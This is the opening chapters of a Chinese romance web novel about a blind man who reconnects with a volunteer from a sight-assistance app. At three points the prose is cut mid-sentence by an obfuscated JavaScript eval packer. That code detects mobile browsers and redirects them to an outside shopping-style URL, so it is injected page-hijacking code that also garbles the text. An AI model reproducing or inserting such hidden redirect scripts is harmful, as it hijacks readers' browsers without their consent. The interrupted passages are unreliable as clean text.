《你看,上天都不要我们断》 1. 楔子 瞎子的世界也会有大晴天吗? 何乐为不知道,但他坚信,努力等,就会有。 于是他等来了一段热烈又浪漫的天晴,还有太阳过后漫长再漫长的雨季,下满了他往后的所有春天。 “枫”是在雨季发生后的第三年不见的,丢得毫无预兆。 凭借着仅能感受到的一点光源,何乐为对着虚空喊了一遍又一遍:“枫?枫?” 没有热情回应的犬吠和舔舐。 导盲犬是何乐为前任送的,名字也是前任起的,之所以叫“枫”,是因为何乐为总说想摸一摸枫叶。 不过枫叶没摸成,他们就分手了。 “枫”是不会擅自跑出去的,况且门上挂了防盗链,笨重的狗爪子打不开。 何乐为跪坐在地上,拿着盲杖四处扫动,像排雷那样,但不管扫去哪,都没有碰到“枫”。 他有点担心,“枫”可能生病了。 因为放在平时,只要他喊,“枫”无论在干什么,都一定会奔过来。 如果猜测是事实,那么他必须尽快带它去医院。 何乐为掏出手机,指尖犹豫片刻,拨通了第一个电话。 对面是他配音工作室里的同事,然而“嘟嘟”声响了很久,最后机械女声告诉他:“无法接通”。 或许在忙吧,何乐为想。 但其实他跟他们并不熟络。 考虑到他残疾人的身份,同事们的工作量从来都是他的好几倍。 何乐为到点就可以下班,而其他人总是要加班到晚上九点,甚至像今天这样的周末,他们也在忙碌。 大概大家都对他有些不满,可除了这群人,他已经找不出其他任何可以的求助对象。 那些曾经要好的、相互牵挂的真心朋友,是他亲手断了联系。 于是他不可避免地回想起那个名为“Be your eyes”的软件,还有那把声音…… 重新下载的话,还能听到吗? 不会听见的,何乐为在心里自问自答,因为求助人和志愿者的绑定早在三年前就解除了。 他甚至清楚记得解除绑定时的干脆利落和不留情面。 不过何乐为还是把软件重新下载回来了。 app发出熟悉的提示音,他不敢再拖延,下令随机拨打志愿者的电话,然后将手机举起来,尽量对准正脸。 连线途中,每间隔一会儿便听见“嘟”一声,对面没有要接的迹象。 这种情况并不罕见,至少在何乐为第一次使用“Be your eyes”就遇上了。 他没想到历史会惊人的相似,三年前是为了找证件,三年后是找狗。 由于没能接通,志愿者通话被自动挂断,何乐为只能垂下举累了的手臂,再次拨通电话。 这回系统匹配了半晌,“嘟嘟”声再度响起,时间被拉得漫长。他一面静静等待着,一面又有些心急。 终于,扬声器传来一阵沙沙声,何乐为刚想举起手机,就听见对面那人低沉地说了句:“喂。” 他指间猛然颤了一下,手机直接落在地毯上,而对面那人在手机掉落后,就不说话了。 何乐为也没有开口,就这样僵持着,直到他心跳平复,记起“枫”还没找到。 他摸着身边的桌椅,慢慢跪下来,手指在地毯上摸索好一会儿。 “何乐为。”那个人突然说,何乐为又是呼吸一滞,抓住冰凉手机的时候,他才确认,他没有在做梦。 “嗯。”何乐为举起手机,熟练将镜头设置成后置,那个人又没有说话了。 何乐为第一次不知道该如何组织语言去描述现在的情况,一个分手时狠狠说永远不要再联系的人,在三年后匹配到了前任的电话。 许久,他避轻就重地说了几个字:“枫不见了。” 没有解释为什么会再次使用“Be your eyes”,明明当初卸载得那么决绝。 “在哪儿不见的?”陈政年问。 “家里。”何乐为回答。 对面很明显顿了一下,接着又问:“沙发底下,桌底下,找过了吗?” “用盲杖扫了几下。”何乐为很诚实地说。 他感觉陈政年有些变了,声音还是和三年前一样,但又有点不同。 他说不上来,或许是因为陈政年说话更温柔了,没有那股生人勿近的冰渣子气。 “你趴下去,小心一点,手机对着沙发底。” 何乐为依言照做,镜头对着下面扫了一圈,陈政年什么也没看到。 何乐为更着急了,脑瓜子飞速转动,自言自语:“会不会在床底下?” 他还是那么喜欢把窗帘全部拉开,屋子里亮堂堂的。 手机镜头沿着床边慢慢移动,底下光景可以看得清楚,直到陈政年喊了声“停”。 何乐为的手就定在那里,眼前一片模糊,床底与他而言还是暗了些,感光系统一律罢工。 “怎么了?枫在吗?”他问。 “我看到他了,就在手机的正前方。” 何乐为伸手去摸,刚开始没摸到,挪动身体往里挥了一下,指尖终于触上毛茸茸的皮毛。 他却瞬间皱起眉头,寒声说:“它很冷。” 其实换做另一个人来摸都不会这么觉得,但何乐为对的触觉很敏感,而“枫”平常的体温又比较高。 他只是稍微碰一下就能确定体温不对劲。 “枫?”何乐为把手机放下,伸手去够它,大型犬的体重不是可估量的,况且“枫”很有可能处于昏迷状态,身体会更沉。 何乐为钻进床底,把两只手都用上了。 隐约听见陈政年说等他一下,何乐为没懂,把“枫”拖出床底的时候,脑袋还磕着了,“咚咚”响。 疼倒不算太疼,就是在前任面前多少有些尴尬。 何乐为还是那么让人不省心,陈政年边跑边想,幸好他上个月就搬到了他家附近,跑过去只需要5分钟。 等爬上楼梯,还没敲门,门就自动打开了,何乐为很吃力地抱着“枫”往外挪动。 他还是这么瘦,胳膊又白又细,除了头发长了些,什么也没变。 垂下的狗爪子撞到了陈政年,何乐为愣了一下,“是有人在吗?” “何乐为。”陈政年喊了他的名字,声音像山间古寺里低沉的钟鸣,很远又很近。 刹那间,何乐为还以为自己幻听了。 他抱不住“枫”了,好在快要松手的时候,陈政年及时接过去,途中掌心手背互相擦过,擦出了异样的温度。 “我送你们去宠物医院。”陈政年说。 何乐为没有拒绝,他觉得自己该去问一些什么,但是他没有,只是拿着盲杖沉默地跟在后面。 “枫”的情况更令人担忧,他没有精力去顾及其他。 陈政年的车子就停在小区楼下,二人一路无话。 等到了医院,医生只瞄了一眼,就马上吩咐送入急诊室手术室。 “快不行了。” “持续心肺复苏,准备注射肾上腺素……” 医院的声音变得很杂很乱,何乐为听见有人在吵,有人在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092588|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 喊,还有一些不属于“枫”的高亢犬吠声。 手术室门被用力关上,就什么也听不见了。 他仿佛跟世界脱了轨,而唯一与他相依为命的家人正躺在手术室里。 “诶,借过一下,堵在这里干什么?” 不知道谁推了何乐为一下,他重心不稳,往后退了半步,刚好撞进陈政年的胸膛。 “手续办好了,我带你先去坐着,别担心。”话一说完,陈政年就熟练地站在何乐为身边,右手手臂递到对方抬手就可以抓住的位置。 而何乐为把手伸过去时,有种梦回三年前的错觉。 曾经可以全心全意、毫无负担依靠的臂弯,现在却只敢虚虚地揪起一块衣料,跟着人往前走。 椅子一下承载了两个成年男人的重量,发出“咯吱”的声音,在安静的医院里显得很突兀。 两个人又沉默了,何乐为脑袋放空一会儿,才想起来还没有说谢谢。 “那个、” “何乐为。” 很巧,他们同时开口。 “你先说吧。”何乐为说。 听见陈政年又喊了一声他的名字。 他“嗯”地应声,心里不由自主地计算着今天被连名带姓喊过几次,还没数清楚,就被打断了。 “好久不见。” 何乐为怔了半秒,也说:“好久不见。” “过得还好吗?” 他没有想到,有一天还能这样坐着跟前任聊现状。 这种事,只在梦里出现过。 何乐为说:“嗯……还可以。” 说完,他不知觉地用指甲扣着盲杖,上面的硅胶手柄被按出一个一个月牙弧形。 “你变了一些。”他听见陈政年说,对方应该是笑了下,“以前都是你在找话。” 其实陈政年也变了,何乐为听见他穿的皮鞋,走路会发出清脆的声音,开的车飘着淡淡香气,座椅很软,跑起路来又快又稳,比他坐过的所有车都要好。 他真的有在变好,而且越来越好。 何乐为现在也能买得起皮鞋了,或许省省也能买一辆小车。 “你也变了,”他对陈政年说,“以前都不爱说话的。” 这下陈政年是真的笑了,笑过之后,又是沉默。 “那个……今天谢谢你。”何乐为说。 陈政年没有回话,何乐为又不知道该说什么了。 和梦里的重逢大相径庭,甚至连一个体面的微笑都不敢给。 有些事,一旦搬进现实,就会变得棘手和难堪。 “你就没有什么想问的吗?”陈政年说,他语气淡了些,好像刹那间又回到从前,那种凉凉的、像薄荷化在唇间的感觉。 “问什么?”何乐为说。 “问我这几年过得好不好,问我为什么能在五分钟内赶到你……” “咔嚓。”手术室的门开了,何乐为立刻握住盲杖站起来。 陈政年也跟着,看见医生摇摇头,说“枫”年纪大了,突发心脏病,已经咽气了。 噩耗如同风,猝不及防扑过来,陈政年第一时间望向何乐为。 何乐为表情呆呆的,不知道在想些什么,看不出太多难过,又好像特别难过。 陈政年选择了保持沉默,在把“枫”的后事安排好之后,终于没忍住摸上何乐为的头,轻轻地把人拢进怀里。 “何乐为,别难过。” 何乐为靠在他肩头,鼻子“哼”了一下,泪珠最后还是掉下来。 这天,他和他的狗道了别,却跟送狗的人重逢了。 2. 绑定 何乐为很早就知道有“Be your eyes”这个软件了,可惜他从来没有使用的机会。 眼睛刚瞎的那几年,借住在小叔叔家,说不上多好,但至少吃喝不需要自己负担。 后面长大一些,搬回过世父母留下的老房子,在盲校学习的技能也已经足够应付独立生活。 从此大门不出,二门不迈,除了在客服工作中遇上某些蛮不讲理的买家,何乐为一个单身瞎子,过得还算有滋有味。 然而今天遇上的事有些棘手,他的残疾证不见了。 由于不经常出门,何乐为很少有需要用到残疾证的地方。 坏就坏在,昨天社区给他打电话,说残疾补贴出了点问题,喊本人务必拿上证件到现场去登记,何乐为这才把积灰许久的小本本找出来。 刚拿到手上的时候,还感觉挺有分量。 指腹摁着上头的盲文,一时给摸高兴了,结果手一抖,证件与掌心擦身而过,掉到地上之后就怎么也找不回来。 “诶,真是奇怪了!”何乐为撅起屁股,趴在地上,耳朵贴着地板,手像搓麻将一样在柜子底端胡乱摸索。 还是没有!何乐为有些泄气,低声嘟囔道:“时间要来不及了。” 他可不想给别人留下一个残疾人不守时的印象。 可是身边的朋友们大多跟他一样是视障,就算不是,身体多多少少也有缺陷,都自顾不暇,更别谈帮忙。 何乐为一瞬间有过求助小叔叔的想法,然而很快又打消掉了。 婶婶不喜欢他,何鸿宇也不喜欢他。 焦头烂额之际,忽然记起几年前盲校老师提过的助盲软件,在脑袋里回忆了好久,终于想起叫什么,立马就下载下来。 “正在为您匹配志愿者,请稍后……” 系统初次匹配的时间格外漫长,何乐为在等待的中途抠抠指甲,又摸摸脸,颇有些百无聊赖。 于是不停在心里给自己警告,一会儿匹配上他可要控制住了,别上去又叭叭嘴,跟人聊个小半天,把正事给忘记。 突然,扬声器发出短暂的“嘟嘟”声,接着很快传出一把粗旷的声音,“我靠,脸呢?” 还有一把声音比较小的,听起来隔得远:“你傻吗?人瞎子。” 何乐为没打过视频通话,压根没有把摄像头对准面孔的意识,继续拿耳朵堵着听筒,直奔主题:“你好,请问你可以帮我一下吗?” “男的?艹,被耍了,老王还说有妹子。” 对面一阵哄笑。 何乐为不太明白,老师说“Be your eyes”上的志愿者都是热情善良的人,但他感觉好像有点不一样。 “我不是妹子啊。”他脆生生地说。 对面很不客气:“喂,没人教你视频通话的时候要露脸才礼貌吗?” 好熟悉的语气!何乐为一时没反应过来,条件反射就开口道歉:“抱歉呢亲,这边给您补偿五元红包可以吗?” 话音刚落,两人都停滞了一秒,对面骂一句:“深井冰。”之后就挂断电话。 啊……说错话了。 何乐为想了想,特意上网查了一下视频通话怎么露脸,在一系列看似复杂的教程中得出结论——只要竖起手机,镜头对着脸就行。 接着他就信心满满地再次匹配去。 这一次的匹配比上一次更久,途中拨通几个电话,但都无人接听。 何乐为等得都有些累了,一屁股坐到椅子上,电话就通了。 他立马举起手机对准自己的脸,勾起个大大的笑:“你好!” 陈政年猝不及防被一声招呼打断思路,他放下笔,看了一眼手机镜头。 一张勾着诡异弧度的嘴,几乎占据了整个屏幕…… “嗯?有人吗?” 何乐为说话哈出的热气糊上镜头,朦朦胧胧一片。 陈政年皱了皱眉,“太近了,把手机拿远点。” 这把声音!! 何乐为立刻站起来,镜头猛烈晃了晃。 “你再说一次!”他有些心急,语气就不太好。 陈政年没见过请人帮忙还这个态度的,脸色不由冷下来,寒声反问:“什么?” “天啊,太像了!”何乐为瞪大眼睛,那双本来没法传达情绪的瞳孔,这时候竟然也透出点震撼来。 陈政年压了压眉峰,明显不知道对方在说什么,指尖移动到挂断通话的位置。 然而下一秒,何乐为又开口了,十分激动:“你的声音,跟我喜欢的一个配音cv特别像!” 指尖倏地顿住,最终没有摁下去。 瞎子的世界是很单纯的,尤其是何乐为,单纯地崇拜声音。 他很迷有声书、广播剧,偶尔还会去听电视,但他也挑,喜欢的cv很少,其中最最最爱的是一个名为“X”的配音演员。 简直可以用狂热来形容,可惜这个配音演员的作品很少,隶属于一个不太知名的小社团。 今天猝不及防听见一把跟梦中情音高度相似的嗓音,险些没把他给激动坏。 何乐为乐得跟朵花似的,在只能容下一张嘴的镜头面前,笑得越发离奇。 “手机拿远一点。”陈政年有些不耐烦。 “哦哦,好。”何乐为美美听着声音,将脸和手机拉开一段距离,陈政年这才看清他的容貌。 不得不说,何乐为的长相,一眼就能给人留下深刻印象。 太白了,苍白的那种白,没有血色,像很多年没晒过太阳。 而且瘦,脸小得几乎能被一个巴掌覆盖,看起来还挺乖。 何乐为私心想让对方说多两句,但对方好像并没有开口的意愿,他只好自己先说:“你好,请问你可以帮我找一下残疾证吗?” 意外地,何乐为的眼睛很漂亮,没有萎缩,瞳孔无神地盯着屏幕,配上那张脸,显得有点呆。 陈政年多看了两眼,就垂下头拿起笔,不咸不淡地问:“放哪了?” “我刚才把它找出来了,但是没拿稳,掉到地上就找不到了。”何乐为很诚实地回答。 飞快算数的笔尖没有停顿,陈政年头也不抬地说:“镜头后置。” “哦,好。” 每多说两句话,何乐为都分外满足,但他也能感觉到对方有些冷漠。 “后置、后置,怎么弄呢?”他低声自语,对于盲人来说,手机摄像什么的,还是太陌生了。 陈政年完全没有要帮他的意思,何乐为莫名感觉紧张,手忙脚乱自己捣鼓了好一会儿,“啊!弄好啦!” 画面一闪,入眼就是一个很丑的木质电视柜和一台大方盒子式的老电视机,房子的装修风格很土,看起来至少存在25年了。 何乐为说证件就掉在电视柜附近,但柜子底下深,他捞不着,用盲杖也扫不全。 “手机放低一点。”陈政年瞄了眼屏幕,又继续做题。 “哦,好。”何乐为干脆摸着柜子坐下来,把镜头对着缝隙:“这样吗?” 陈政年没说话,做完一道代数题才抬头,屏幕黑不溜秋的,什么也看不清。 “开灯。” “啊?”何乐为没反应过来,“我家已经开灯了。” 陈政年当然知道,他不是第一次接盲人的电话,但从来没 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092589|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见过哪个盲人家里会像何乐为家这么亮的。 他推测何乐为的眼睛能感光,不过这与他无关,也与他今天的助残任务无关,他手上做题的速度不变,“把手机电筒打开。” “啊!好。”音色太像了,简直就是在跟“X”对话,何乐为心脏在“砰砰”狂跳,越来越紧张。 这就好像无数次在心里构造的完美理想型突然在现实遇见了,而你非常想给对方留下个好印象。 然而手机盲人模式不给他半分薄面,提示音在静谧房子里叫得响亮,操作很久都不成功,何乐为好尴尬,对方该觉得他像个傻子。 不好容易打开电筒,手机顺着柜子与地面的缝隙照了一遍,却没听见陈政年说话。 “喂?你好?你还在吗?”他怕他挂了,有些心慌。 思路又一次被打断,陈政年皱起眉头,朝屏幕瞥一眼,巧了,那本何乐为口中怎么也找不到的小本本就卡在柜角边上。 他还没来得及说呢,何乐为自己先摸到了,“诶!在这!” “碰!” 陈政年听见巨响,准备摁下结束通话的手顿住,抬眸望过去,那头手机被摔翻了个面。 何乐为捂着脑袋坐在镜头上方,像撞懵了,模样有点可怜。 “嘶……”真丢人,很久没撞到脑袋了。 何乐为眼前直冒星星,对于视障而言,这无疑是一场直击心灵的绝美盛宴。 不过他今天实在没兴趣沉浸式观星,通话还没断呢,何乐为急切地想要捞起手机,偏偏越急,就越办不成事。 证找回来了,手机又丢了。 何乐为一动不动地坐在地上,心里头默默崩溃,他不好意思开口,他认为自己今天的表现有够差劲的。 好印象是留不下的,这辈子也留不下的,小瞎子悲哀地想。 该不会是撞傻了?陈政年双眼微眯,目睹了全过程,都摸不透何乐为在干什么。 如同一场滑稽的默剧。 默剧的主演被定了身似的坐在地上,发白的领口很松,歪歪扭扭地敞在一边,漏出半边肩头和锁骨。 他比想象中的还要更瘦,肩胛凸出,薄衣料根本遮不住。 何乐为自顾自地等了一会,估摸着对方应该挂了,才呼出一口气,特别悲伤地用双手捂住脸,“哎哎”声嚎叫。 太惨了,他今天是世界上最可怜的瞎子,谁都不能跟他争。 陈政年:“……” 手上的题怎么做都不顺,就是算不出结果。 陈政年被何乐为嚎得有些心烦,随口问:“很疼吗?” 说完之后,他自己都是一愣。 “啊!不疼!”何乐为吓了一跳,根据声音的来源,迅速捡起手机。 完蛋了……这下小瞎子已经没有什么颜面可言了。 何乐为将镜头扫向桌角,解释说:“我有把它贴上,不会很疼的。” 何乐为家的桌角都被缠上厚厚的透明胶带,缠得很乱,胶带也已经发黄了,但足够厚,确实不会疼。 陈政年“嗯”一声。 何乐为自知尴尬,“那个,今天谢谢你呀。” “我很久没有找人帮忙了,虽然最后还是我自己找到的,嘿嘿。”他咧嘴笑起来,试图缓解一下气氛,然而通话那头已经没声了。 挂了? “真挂了呀?”还没来得及问名字呢,何乐为遗憾地想。 系统突然发来一串提醒:“是否将他加入志愿者联系人列表?” “是是是!”何乐为立刻又高兴了,把刚才丢脸的事全部忘光。 脸可以丢,好听的声音可不能错过啊! 3. 书友 “小为,你可千万不要忘记我们一会儿的面基啊。” “不会忘的。”何乐为回复,边在衣柜里一件件摸着衣服。 他太少出门了,衣服来来去去也就那几件,单调的款式,宽大的领口。 唯一一件印花的,上头字母已经掉了一半,摸着硌手。 该穿什么呢?何乐为有些苦恼。 浮生是他在网上认识的书友,有一两年了,断断续续保持着联系。 对方也是个爱听书的盲人,两人算是一拍即合,又有些同病相怜的惺惺相惜。 这次浮生从北方过来,第一件事就是联系何乐为,两人打算线下见一面。 何乐为低头闻了闻衣角,有淡淡的洗衣粉的味道,还好,衣服虽然不怎么样,味道还是可以的。 反正对盲人来说,好不好看不重要。 但他想了想,还是希望慎重些,毕竟这是他第一次面基。 就算浮生看不到,别的人也能看到。 “唉,怎么穿好呢?”何乐为挠了挠头。 他隐约记得,有件标签很大的衣服,他不常穿,因为扎后脖子,痒。 说起来,那还是小叔叔给他买的十六岁生日礼物,据说是蓝色的。 蓝色是天空的颜色,但他早就不记得天空是什么样的了。 “是这件吗?”何乐为手指摩挲着大标签,“也不知道干不干净。” 他以前经常会不自觉把衣服弄脏,何鸿宇就带着那群小孩一起笑他。 想来想去,忽然想到什么,鬼鬼祟祟地拿起手机,打开“Be your eyes”。 距离上次通话已经过去半个月,何乐为悄悄把那个声音很好听的志愿者加进了绑定列表里。 “我就打个电话问下衣服干不干净,应该不会打扰他吧。”他小声自言自语着,手指很诚实地点击了拨通。 又是一阵熟悉的“嘟嘟”声,刚开始与心率同频,后来却慢慢跟不上了。 何乐为捂着心口,低低地喘气,紧张什么,打个电话而已。 “喂?” 何乐为吓了一跳,立刻坐起来,“啊,你好!” 陈政年刚从学校实验室里出来,白大褂都还没来得及脱,就接到电话:“什么事?” 他换下衣服,随意瞥了眼,才发现是上次那个撞到脑袋的男生。 “我想请你帮我看看衣服。” “什么衣服?” “就是,我一会儿要出门见朋友,你可以帮我看看这个衣服干不干净吗?” 何乐为说着,就把衣服往镜头前面递。 小瞎子不会操作,镜头离得那么近,陈政年只能看见一块蓝色的布。 今天的实验数据非常完美,他的耐心也比上次多了不止一点,“衣服放在床上,镜头后置,你站起来,对着床拍。” 只见小瞎子愣了一下,突然眯起眼,笑道:“你今天好多话哦。” 陈政年没理他,但看见对方有在乖乖按照他的要求做。 这件天蓝色的衣服看起来没有什么大问题,“背面。” “啊?”何乐为傻乎乎地转了个身。 陈政年眼睁睁看着镜头180度反转,又无语又好笑,“我说衣服……” “我知道我知道!我一时没反应过来。”何乐为默默转回去,挠了挠脑袋。 小瞎子的镜头东扭西歪,既晃得人眼睛疼,衣服也照不全。 陈政年心情就是再好也忍不了,“算了,你家有镜子吗?” “有的,卫生间有。”虽然何乐为用不上。 “把衣服穿上,到镜子前面去。” “哦好。” 何乐为把手机放到床边,唰唰就开始脱衣服,也不知道避着人。 陈政年倒是绅士地移开视线,只是皮肤和衣料摩擦的声音在耳机里放大,他听见对方“嗯?”了一声,目光又落回屏幕。 何乐为把上半身脱了个精光,蓝色的圆领T恤罩在头上,像是一时间找不到袖口,两只手不停乱翻动。 小瞎子该是阴差阳错把手机垫在枕头上了,角度刚刚好能把他的所作所为看得清楚。 “看什么呢学长!这么认真。” 不知道谁凑过来问了一句,陈政年很快摁熄屏幕,把手机塞进口袋里,声音很冷淡:“有事?” “啊……就是季学姐那边问你后天的市区助残送温暖活动去不去?” “不去。” “可以加综测!” “不去。” “也是,你综测都加爆了。学姐说不想加综测的话,可以选择加0.1学分。” 陈政年考虑了一下,“好,报上。” 等人走远了,陈政年才慢条斯理地掏出手机。 屏幕重新亮起的那刻,蓝色T恤咻一下顺着腰线滑落,结结实实把肉色盖住了。 “不用去卫生间了。” 何乐为被这突如其来的声音吓了一吓,“嗯?” “你就站那,转身。” “哦。”何乐为照做,才后知后觉原来陈政年能看见他换衣服,耳尖倏地发烫。 不尴尬不尴尬,他是瞎子,只要他看不见就不尴尬。 何乐为安慰自己,殊不知,镜头外那个声音好听的志愿者盯着他的腰看了好久。 衣服没什么问题,问题是小瞎子太瘦了。 套上衣服前的腰就跟花枝那样细,仿佛刮一场稍大的风,就能被折成两段。 没吃饱饭吗?陈政年静静看着,没什么表情。 想法也只是在脑海里停留了半秒,“可以了,没问题。” “哦好。”何乐为应道,没有再把衣服换下来,反正一会儿也是要出门的。 通话那头没有声音了,想来是又被挂了。 “这个好声音是雷锋啊。”何乐为都没来得及说谢谢呢。 “好声音?” 那次之后,何乐为私底下就称呼人“好声音”,没想到居然被抓包了,“你还在呀!我以为你挂了呢。” 陈政年无所谓道:“也可以。” 何乐为顿时急了,他不希望通话挂掉,于是急中生智说:“别别,我一会儿出门可能还要麻烦你呢。” 对面没说好不好,他特别上道地自己迅速收拾好东西,拎起一本书和盲杖出门了。 “那个谢谢你啊,麻烦你了。”何乐为把手机挂在脖子上,特意找了部备用机开启导航。 说实话开导航的时候,他还犹豫了一下,生怕好声音问有导航了还要志愿者来干嘛。 “诶,你还在吗?” 这头陈政年回到家,阿姨已经把中午饭准备好。 他把手洗干净,手机放在一边,开始吃饭。 生气了吗?何乐为听见有声音,却没有回答,“那个……如果不方便的话,就挂了吧。” “嗯。”陈政年哼了一下,何乐为感觉有些遗憾,但也不勉强,毕竟别人也没有义务陪他。 酷夏的正午没什么人,连车声都听不见多少,小瞎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|14092590|149616||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 子执着盲杖,磨磨蹭蹭地踩在盲道上。 有时会敲到围栏和石墩,还会碰上某些在盲道违停的电动车,“啪啪”几声,周边少有的几个路人听得心都惊了,陈政年只偶尔分出几个眼神。 见人每次都顺利通过,又移开视线继续扒饭吃,没有半分同情心。 何乐为听见他咀嚼的声音了,有点高兴,又有点气。 “欢迎光临,喜猫咖啡厅!” “需要帮助吗?我带您去找位置。”服务生很有体贴地问。 何乐为说:“我的朋友已经到了,也是一个盲、” “小为!” “诶。”他听见浮生的声音了。 坐在窗边的中年男人朝服务生招招手,低声说:“把他带过来。” 陈政年正好吃完饭,餐具往洗碗机里一放,耳机里传出何乐为的声音,才记起来还有个通话没挂断。 “终于见到你了浮生!”何乐为明显很激动,连带着胸前手机都晃了晃。 对面坐着的男人肥头大耳,模样看着就不大正气,眯着小眼,正笑嘻嘻地看向这边,张口吐出一嘴和外形完全不符的温和嗓音:“小为,我也很高兴见到你。” “想喝点什么?我帮你点吧。”他伸手就去摸何乐为,掌心黏腻腻的,让人感觉不太舒服。 何乐为把手收回来,“我喝咖啡就好。对了,我把上次我们聊过的书带出来了,我们可以一起看。” 他说着,从帆布包里拿出一本书。 浮生就笑了笑,“好啊,一起看。” 陈政年喝了口水,屏幕里小瞎子带的书页纸张上,全是凸起的白色小点点,是一本全盲文的书。 “我坐到你那边去吧,这样方便一些。”浮生说。 何乐为答应了,“那你小心一点,我扶着你。” 陈政年抬了抬眼皮,只见浮生特别利索地站起来,握住何乐为的手,麻溜地走到他身边。 一个四肢健全、虽然眼睛像米粒那样小但看起来还算灵光的人,为什么需要扶? 浮生顺利落座了,但他还抓着何乐为的手,反复摸着手背:“你的手好滑啊。” “滑吗?我不知道诶!没有人说过。”何乐为自己也摸了摸自己,笑道。 正乐着,感觉浮生又靠近了些,两个人的大腿紧密地贴在一起。 有点热,何乐为想说点什么,就听见手机传出来一声:“喂。” “嗯?你还没挂呀。”何乐为惊奇。 “谁啊?”浮生问。 何乐为拿起手机,“一个志愿者,他今天帮我看衣服来着。” “带耳机了吗?”陈政年说。 “带了。” “插上。” 何乐为这就把耳机戴好,“怎么了?” 话刚问出去,浮生突然把他耳机摘下来,很不高兴地说:“我们面基为什么要跟别人打电话?” “啊,不好意思!”何乐为也觉得这样不好,“我跟他说下再见吧,毕竟他帮了我。” 浮生这才把耳机还给他。 何乐为说:“今天谢谢你,还有上次,都很谢谢。” 陈政年没有回答,过来一会儿,对方才说:“你朋友是盲人?” “对啊。” 陈政年又沉默了。 他没太大兴趣管这种事,但小瞎子实在太傻。 “怎么了嘛?没有其他事的话,我就要挂了。” 陈政年叹一口气:“傻子,他不是,你被骗了。” 4. 见面 “啊?” “别声张,先想办法出去。” 显然,何乐为没有这样聪明的脑袋瓜子,还傻傻愣着,不知道在想什么。 陈政年压了压眉峰:“告诉他,你要上厕所。” “可是我、” “按我说的做。”陈政年打断他。 何乐为有点不明白,但好在他听话,真老老实实这么做了。 浮生就说:“我陪你去,你一个人不方便。” 何乐为这才意识到自己可能真被骗了,小眉毛往中间挤了挤,“我们一起去会更不方便吧。” 浮生没再说什么,喊了服务生来帮他。 一进厕所,何乐为立马问:“我不懂,他为什么要骗我?” “你好骗。”陈政年回答。 “我又没有钱。” 水龙头被何乐为摸索着打开了,水凉凉地冲在手上,他的心有点乱。 人们总是这样不真诚。 陈政年说:“这个世界不是只有财可以图。” “那他图什么啊?”说实话,比起生气,何乐为更多的是好奇。 然而,好声音并不准备帮他解答,“待会儿你出去就直接走,别回头。” “好吧。” 守在门口的服务生忽然跟人大声讲话,但声音很快让陈政年的话盖住了,“躲到隔间里去,立刻。” “在你左手边,锁门。” 刚落锁,浮生后脚就进来,边敲门边喊:“小为,你怎么还没出来?” “让他出去。”陈政年说。 何乐为站在门边,头疼地摸摸鼻子,绞尽脑汁才编出个理由:“闹肚子了,你回去等吧,我很快的。” 浮生不愿意走:“我就在这等你。” “别啊,你在这,我拉不出来。” 耳机里隐约传来“嘶”声,也不知道是不是因为这个荒谬的借口,何乐为硬着头皮说下去:“很臭的,你快点走吧。” 浮生并没有就此离开,“不臭,我不嫌弃你。” “怎么办?”何乐为急得脑袋都冒汗了,还得努力降低音量。 又听见浮生在外头说:“小为,你很、你的衣服很香,刚才坐在你旁边,我就闻到了。” 换作平时,何乐为只当人真心在夸赞衣服,今天听了,鸡皮疙瘩却长起来,连他自己都没法解释这种生理反应。 “想知道你今天穿得好看吗?”听筒这边陈政年突然问。 何乐为不懂怎么就扯到他穿着去了,思维一时没跟上,迟疑片刻:“嗯?” “问他,他知道。”陈政年说。 何乐为愣一下,忽而灵光乍现,用沮丧的语气回答浮生:“香不管用,大家都说我的衣服丑。” “不丑!好看,天蓝色的、” 说话声戛然而止,空气顿时陷入安静,浮生意识到自己中计了。 “你明明能看见,为什么要骗我?”何乐为有点儿生气。 “谁告诉你的?那个服务生吗?” “多管闲事。”浮生低声暗骂,解释说:“我只是想跟你更快熟悉起来。” 他突然用脚尖踹一下隔间门,像是等不及了,催促何乐为出去。 何乐为还不至于真这么傻,手抵着门,瘪嘴问:“那我们早就是好朋友了,你怎么不告诉我真相?” 浮生把掌心拍在门上,“小为,我真的没有坏心思,你别生气。” 拍门声逐渐急促,浮生远不如印象中那般温和,把何乐为靠在门边的那只耳膜都给震疼了。 引得服务生开门进来,“怎么了?发生什么事了?” “没事,我男朋友跟我闹脾气呢,躲在里面不肯出来。” 服务生知道这两人是一起来的,没曾想是这种关系,有些鄙夷:“先生,麻烦您轻点,门拍坏了是需要赔偿的。” 浮生点点头,没给何乐为开口的机会就把服务生糊弄走。 “小为,听话,你先出来,我们聊聊。” 何乐为犹豫一下,心里盘算着就这样开门出去能有几成胜算。 